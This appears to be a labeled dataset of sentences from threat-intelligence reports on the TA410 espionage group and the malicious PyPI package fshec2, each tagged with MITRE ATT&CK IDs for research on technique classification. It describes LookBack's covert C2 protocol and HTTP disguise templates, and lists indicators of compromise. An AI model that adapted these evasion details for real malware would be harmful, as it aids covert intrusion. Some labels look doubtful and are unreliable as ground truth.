{"sentence": "X4 provides basic functionalities to control the machine remotely, but it lacks more advanced spying capabilities.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "LookBack The LookBack backdoor has previously been described by Proofpoint; we are therefore providing a quick summary and our analysis of the custom network protocol.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This corroborates the observation by Proofpoint researchers.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The encryption/decryption function, shown in Figure 20, always uses the same key. Figure 20.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This configuration file is encrypted using the just-described function and starts with the magic bytes 0xAF1324BC.", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "If this file is unavailable or invalid, a hardcoded default configuration is used.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "A unique victim ID is then generated from the victim’s CPUID, username, and IP address.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This is sent to the server along with the computer’s name and the configuration data.", "labels": ["T1082"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The communications module then downloads the main backdoor module, named SodomMain, from the C&C server.", "labels": ["T1105"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Unfortunately, we couldn’t obtain this module.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Communication protocol LookBack can communicate over HTTP or via its “normal protocol”.", "labels": ["T1071.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "In either case, the data being transferred is the same.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "LookBack’s normal protocol uses raw TCP sockets and a custom message format described in Table 4.", "labels": ["T1095"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This message is composed of eight header fields, followed by a body of variable length.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The message body is encrypted with the function previously described for the SodomNormal resource in the loader (Figure 20).", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The encrypted data is then compressed with the deflate algorithm via the compress function of the statically linked zlib.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "LookBack message format FieldOffset (bytes)Note Magic bytes0x00The constant 0x48AB2EC2.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Messages that don’t start with this magic value are discarded.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "<Message dependent>0x04 Compressed body size0x08 Uncompressed body size0x0C Checksum0x10CRC32 of the message body.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Message type0x14Integer value indicating the message’s content and the associated action to be performed.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Table 5 presents the types we have analyzed in more depth.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "<Message dependent>0x18 <Message dependent>0x1C Message Body0x20The message body can be empty.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "In this case, the checksum and length fields are set to 0x00.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Table 5.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "LookBack message types Message typeUsed byDescription 2ClientRegister with C&C server.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "41ClientRequest file from server.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "42ServerTransfer file to client in message body (response to message 41)", "labels": ["T1071.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The HTTP protocol uses the message format detailed in the previous paragraph, but it adds a few extra steps to disguise its traffic as legitimate HTTP.", "labels": ["T1071.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The fields required for HTTP, such as content length, address, and port number, are filled in with the correct values; useless data is used for the others.", "labels": ["T1071.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "For client requests, the messages are encoded with a modified hexadecimal algorithm that uses the encoding alphabet a-p instead of the conventional 0-9a-f.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This provides some obfuscation and ensures that messages will not contain binary data or be obviously hex encoded, both of which could look suspicious in an application/x-www-form-urlencoded message.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The request’s body is composed of this encoded value prefixed with the hardcoded string id=1&op=report&status=. Client request and server response templates are shown in Figure 21 and Figure 22 respectively, with the template fields in angle brackets.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "POST <C&C address + port>/status.php?r=<epoch timestamp><random 16-bit int> HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-usUser-Agent: <return value of ObtainUserAgentString OR \"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko\">Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateHost: <C&C url>Content-Length: <content length>", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Template used for HTTP client requests On the server side, the data described in the previous section is sent directly as binary data in the body with a header purporting it is a GIF image.", "labels": ["T1071.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "HTTP/1.1 200 OKServer: nginx/1.12.2Date: <current time> GMTLast-Modified: <current time - 100 seconds>", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "GMTETag:", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "<3 random 16-bit ints>Accept-Ranges: bytesContent-Length: <content length>Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: image/gif <LookBack message> Figure 22.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Template used for HTTP server responses TA410 – JollyFrog This third team uses off-the-shelf malware from the known malware families QuasarRAT and Korplug (aka PlugX).", "labels": ["T1071.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "JollyFrog mostly aligns with what was described by Fortinet as APT10. Korplug Korplug, also known as PlugX, is a backdoor that has been used for years by many different cyberespionage groups.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "In the case of TA410, Korplug arrives as a RARSFX archive, generally named m.exe, containing three files: qrt.dll: A custom loader.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "qrtfix.exe: A legitimate signed application from F-Secure, vulnerable to DLL search-order hijacking.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The Korplug shellcode.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Then it jumps right into the shellcode that will decompress and load the Korplug payload.", "labels": ["T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "QuasarRAT QuasarRAT is a full-featured backdoor freely available on GitHub.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Named sll.exe, this downloader is digitally signed with the certificate seen in Figure 23.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Although the certificate has now been revoked, it was still valid when this sample was signed on August 10th, 2020.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Digital signature of the QuasarRAT downloader This downloader simply downloads the loader and encrypted QuasarRAT payload from the hardcoded C&C server http://ffca.caibi379[.]com, at /rwjh/new/.", "labels": ["T1027", "T1105"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This server was previously linked to FlowCloud (FlowingFrog).", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The loader is named PresentationCache.exe and is protected with DNGuard, a commercial .NET packer.", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "It is also signed with the same certificate as the downloader.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "It decrypts and loads the final QuasarRAT payload, which uses cahe.microsofts[.]org as its C&C server.", "labels": ["T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "ESET is revealing its latest findings about this group, including results from ongoing research, during Botconf 2022.", "labels": ["T1190"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Even though the JollyFrog team uses generic tools, FlowingFrog and LookingFrog have access to complex implants such as FlowCloud and LookBack.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "YARA and Snort rules for these implants are available in ESET’s GitHub repository.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "ESET Research now also offers private APT intelligence reports and data feeds.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "UWRFlowCloud v5.0.3 initial loader.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "1403241C415A8D686B1148FA4229A2EB833D8D08setlangloc.dllWin32/Agent.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "38D0E92AFF991CFC9C68D7BAAD6CB85916139AF5hidmouse.sysWin32/Agent.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "AF978ED8AD37CE1437A6B42D96BF518D5C4CFD19hidmouse.sysWin64/Agent.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "UKRTA410 64-bit Rootkit/Keylogger driver.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "ULHFlowCloud v4.1.3 hcClientLoaderZero_x86 backdoor.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "014421BDB1EA105A6DF0C27FC114819FF3637704hhh.exeWin32/Agent.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "ABYKFlowCloud v4.1.3 initial loader.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "EA298866E5A61FEEA4D062987F23B10A78C8A4CAN/AWin32/Agent.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "ULHFlowCloud v4.1.3 backdoor.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "021B9E2E8AA30B29569254C0378A9F43E4F32EECwinver64.dllWin64/Agent.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "KMFlowCloud v4.1.3 hcClientLoaderZero_x64 backdoor.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "2A2F08FAD6B0A86DC94885224687D954E739CC21N/AWin32/ParanoidFish.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "APafish sandbox detection tool.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "3658B7CCA13C8C8AD03E9B6AEFE4B9CBE48E3C81hidmouse.sysWin64/Agent.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "UKRTA410 Rootkit/Keylogger driver.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "517488F6BD0E7FC9EDE82F37226A75212B277E21hidmouse.sysWin64/Agent.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "C05B4AD7A3322917E17710842FB88A090198D51FN/AWin32/Agent.TWILookBack trojanized libcurl loader.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "DB2DF1BDF8145CB8ABA3A2026A3CC3EF4F1762BEphx.dllWin32/Agent.TWILookBack trojanized libcurl loader.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "7AA35BA7030AFCD271436DE8173D7B2F317A1BFClibcurl.dllWin32/Agent.TWILookBack trojanized libcurl loader.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "A5C02ABE698300F3DE0B7CC7F0856652753831DAlibcurl.dllWin32/Agent.TWILookBack trojanized libcurl loader.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "613C4AFAE8F5F80F22DCD1827E3230FCA361ADA5libcurl.dllWin32/Agent.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "UKDLookBack trojanized libcurl loader.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "859CD6DFDADAB3D6427C6C1C29581CB2094D648Fmeterpreter.exeWin32/Rozena.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "DBEA7F0C0D2BF8BC365A2D1572CA1538FE8FB9A3responsor.datWin32/Agent.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "ADD5B4FD9AEA6A38B5A8941286BC9AA4FE23BD20絆邧坋蔡趕口昴.doc Win32/Exploit.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "7BA42061568FF6D9CA5FE5360DCE74C25EA48ADAN/AWin32/Agent.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "ACKQPacked Tendyron downloader.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "F359D3C074135BBCA9A4C98A6B6544690EDAE93DOnKeyToken_KEB.dllWin32/Injector.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "621B31D5778EC2FB72D38FB61CED110A6844D094N/AWin64/Rozena.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "AOX4 network shellcode.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "EMVAKorplug dropper.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "C369E1466F66744AA0E658588E7CF2C051EE842Fqrt.dllWin32/Injector.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "EMVAKorplug loader.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "BDECA89B4F39E6702CE6CBBC9E6D69F6BBAB01C8N/AN/AKorplug decrypted payload.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "5379FBB0E02694C524463FDF7F267A7361ECDD68sll.exeMSIL/TrojanDownloader.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "GPSQuasarRAT downloader.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "TZGQuasarRAT loader.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "D95185A4A3F8512D92F69D2ED7B8743638C54BE8N/AMSIL/Spy.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "AESQuasarRAT backdoor.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "BE7F0E41CD514561AED43B07AA9F5F0842BF876CHTra.exeWin32/HackTool.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "ABHUC Packet Transmitter (HTran).", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "7F663F50E9D6376715AEB3AB66DEDE038258EF6CHTran13.exeWin32/HackTool.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "SHUC Packet Transmitter (HTran).", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "BEDA1224B3BB9F98F95FF7757D2687F4D9F4B53Aevent.exeWin32/Agent.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "UJNSimple cmd.exe-based backdoor compiled with MingW. 2B61E7C63A0A33AAC4CF7FE0CEB462CF6DACC080htran.exeWin32/HackTool.Hucline.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "JEXE masquerading as ZIP.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This is a Python network scanner (compiled with PyInstaller).", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "4CDCE3AF614C2A5E60E71F1205812AB129C0955Bmsd017.exePython/Exploit.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "MS17-010.BThis is a Python scanner (compiled with PyInstaller) for the vulnerability MS17-010 (EternalBlue).", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Certificates Serial number 0F8B600FF1882E Thumbprint02ED6A578C575C8D9C72398E790354B095BB07BC Subject CNHangzhou Leishite Laser Technology Co., Ltd. Subject OHangzhou Leishite Laser Technology Co., Ltd. Subject LHangzhou Subject SZhejiang Subject CCN Valid from2012-03-29 09:07:04 UTC Valid to2014-04-02 06:24:19 UTC Serial number 4ED8730F4E1B8558CD1CB0107B5F776B Thumbprint850821D88A4475F0310F10FBA806353A4113D252 Subject CN北京和 赢讯时 科技有限公司 (translation: Beijing Heyingxunshi Technology Co., Ltd.) Subject O北京和 赢讯时 科技有限公司 (translation: Beijing Heyingxunshi Technology Co., Ltd.) Subject OU研 发 部 ( R&D Department) Subject S北京市 (Beijing)", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Subject CCN Valid from2019-11-13 00:00:00 UTC Valid to2020-11-12 23:59:59 UTC Network DomainIPFirst seenDetails 43.254.216[.]1042020-06Delivery server 45.124.115[.]1032020-08Delivery server 161.82.181[.]42020-12Delivery server 43.254.219[.]1532020-07X4 C&C server 154.223.141[.]362020-06HTran C&C server 103.139.2[.]932020-10Tendyron C&C server cahe.microsofts[.]comQuasarRAT C&C server ffca.caibi379[.]comQuasarRAT downloader C&C server smtp.nsfwgo[.]comKorplug C&C server 45.124.115[.]1032020-06LookBack C&C server 185.225.19[.]172021-01LookBack C&C server 94.158.245[.]2492020-03LookBack C&C server 5.252.179[.]2272021-03LookBack C&C server 222.186.151[.]1412019-11FlowCloud C&C server 47.111.22[.]652020-09FlowCross C&C server 114.55.109[.]1992020-05FlowCloud C&C server dlaxpcmghd[.]com185.225.17[.]392020-09LookBack C&C server wwww.dlmum[.]comN/AFlowCloud C&C server MITRE ATT&CK techniques This table was built using version 9 of the MITRE ATT&CK framework.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "TacticIDNameDescription Resource DevelopmentT1587.001Develop Capabilities: MalwareTA410 develops LookBack and FlowCloud.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "ExecutionT1106Native APIFlowCloud makes extensive use of the Windows API to execute commands and launch processes.", "labels": ["T1106"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1129Shared ModulesTA410’s backdoors can load DLLs and execute their payloads.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1203Exploitation for Client ExecutionTA410 uses Royal Road RTF documents to compromise victims.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1559.001Inter-Process Communication: Component Object ModelFlowCloud uses COM interfaces to schedule tasks and perform WMI queries.", "labels": ["T1047", "T1053.005"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1047Windows Management InstrumentationTA410 uses WMI for lateral movement and information gathering.", "labels": ["T1047"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "PersistenceT1053.005Scheduled Task/Job: Scheduled TaskFlowCloud creates a scheduled task for persistence.", "labels": ["T1053.005"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1505.003Server Software Component: Web ShellTA410 plants webshells on vulnerable web servers.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Windows ServiceFlowCloud can be configured to create a service for persistence.", "labels": ["T1543.003"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Defense EvasionT1027Obfuscated Files or InformationFlowCloud files are distributed and stored in encrypted form.", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1036.004Masquerading: Masquerade Task or ServiceThe driver component of FlowCloud masquerades as a mouse driver service.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1036.005Masquerading:", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Match Legitimate Name or LocationFiles named after legitimate utilities are written into the %ProgramFiles%\\MSBuild\\Microsoft\\Expression\\Blend\\msole\\ subdirectory.", "labels": ["T1036.005"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1014RootkitFlowCloud uses a rootkit to hide its network traffic and processes from system utilities.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1055.001Process Injection: Dynamic-link Library InjectionFlowCloud uses both regular and reflective DLL injection.", "labels": ["T1055"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "It also manually loads some DLLs, bypassing calls to LoadLibrary.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1055Process InjectionTA410’s backdoors perform process injection to masquerade as harmless processes.", "labels": ["T1055"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1497Virtualization/Sandbox EvasionSome versions of FlowCloud use the Pafish utility to detect virtualization, sandboxes, and debuggers.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1134.002Access Token Manipulation: Create Process with TokenFlowCloud can create processes using tokens acquired from legitimate processes.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1070.004Indicator Removal on Host: File DeletionFlowCloud deletes its rootkit’s executable after launching it.", "labels": ["T1070.004"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1070.006Indicator Removal on Host: TimestompFlowCloud backdates some files and services to 2013.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1518Software DiscoveryFlowCloud uses the IShellAppManager COM object to list installed software.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1083File and Directory DiscoveryFlowCloud can search through connected file systems and obtain directory listings.", "labels": ["T1083"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1120Peripheral Device DiscoveryFlowCloud can list connected camera devices.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1012Query RegistryFlowCloud components use registry keys to signal each other.", "labels": ["T1012"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1115Clipboard DataFlowCloud registers a listener to steal clipboard data when it is changed.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1056.001Input Capture: KeyloggingFlowCloud records keystrokes.", "labels": ["T1056.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1125Video CaptureFlowCloud uses OpenCV to take pictures using connected camera devices.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1123Audio CaptureFlowCloud has audio capture functionality.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1074.001Data Staged: Local Data StagingFlowCloud stores collected data in local SQLite databases prior to exfiltration.", "labels": ["T1074.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1025Data from Removable MediaFlowCloud can exfiltrate files from removable drives.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1132.002Data Encoding: Non-Standard EncodingLookBack encodes binary data using a custom hex-encoding method. T1573.001Encrypted Channel:", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Symmetric CryptographyFlowCloud can use XOR, TEA, RC4 and a modified AES algorithm to encrypt traffic and files.", "labels": ["T1573.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "ImpactT1529System Shutdown/RebootFlowCloud can force a system crash or shutdown.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "27 Apr 2022 - 03:00PM", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "If so, it poses yet another supply chain risk going forward, since this type of attack is likely to be missed by most security tools, which only scan Python source code (PY) files.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "We reported the discovered package, named fshec2, to the PyPI security team on April 17, 2023, and it was removed from the PyPI repository the same day.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "The PyPI security team has also recognized this type of attack as interesting and acknowledged that it had not been previously seen.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "Here’s how my threat research team identified the fshec2 as a suspicious package and the novel method that the attackers employed as they attempted to avoid detection.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "I’ll also tell you what our researchers found when investigating the command-and-control (C2) infrastructure used by the malware — and provide evidence of successful attacks.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "As the team observed before, these often jump out at us from the millions of legitimate, nonmalicious files hosted on these platforms because they exhibit strange qualities or behaviors that, experience tells us, often signal malicious intent.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "That was the case with fshec2.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "The package initially caught our attention following a scan using the ReversingLabs Software Supply Chain Security platform, which extracted a suspicious combination of behaviors from an fshec2 compiled binary.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "It was only upon inspection of a decompiled version of the third file, full.pyc, that more interesting behaviors came to light and the true nature of the package emerged.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "Figure 1: Files containing package functionality Unmasking an unusual loader Threat actors are always trying to evade detection from security solutions.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "Obfuscation is one of the most popular methods to achieve this.", "labels": ["T1027"], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "For example, several of our previous research blogs have explored incidents in the npm landscape in which JavaScript obfuscation was used.", "labels": ["T1027"], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
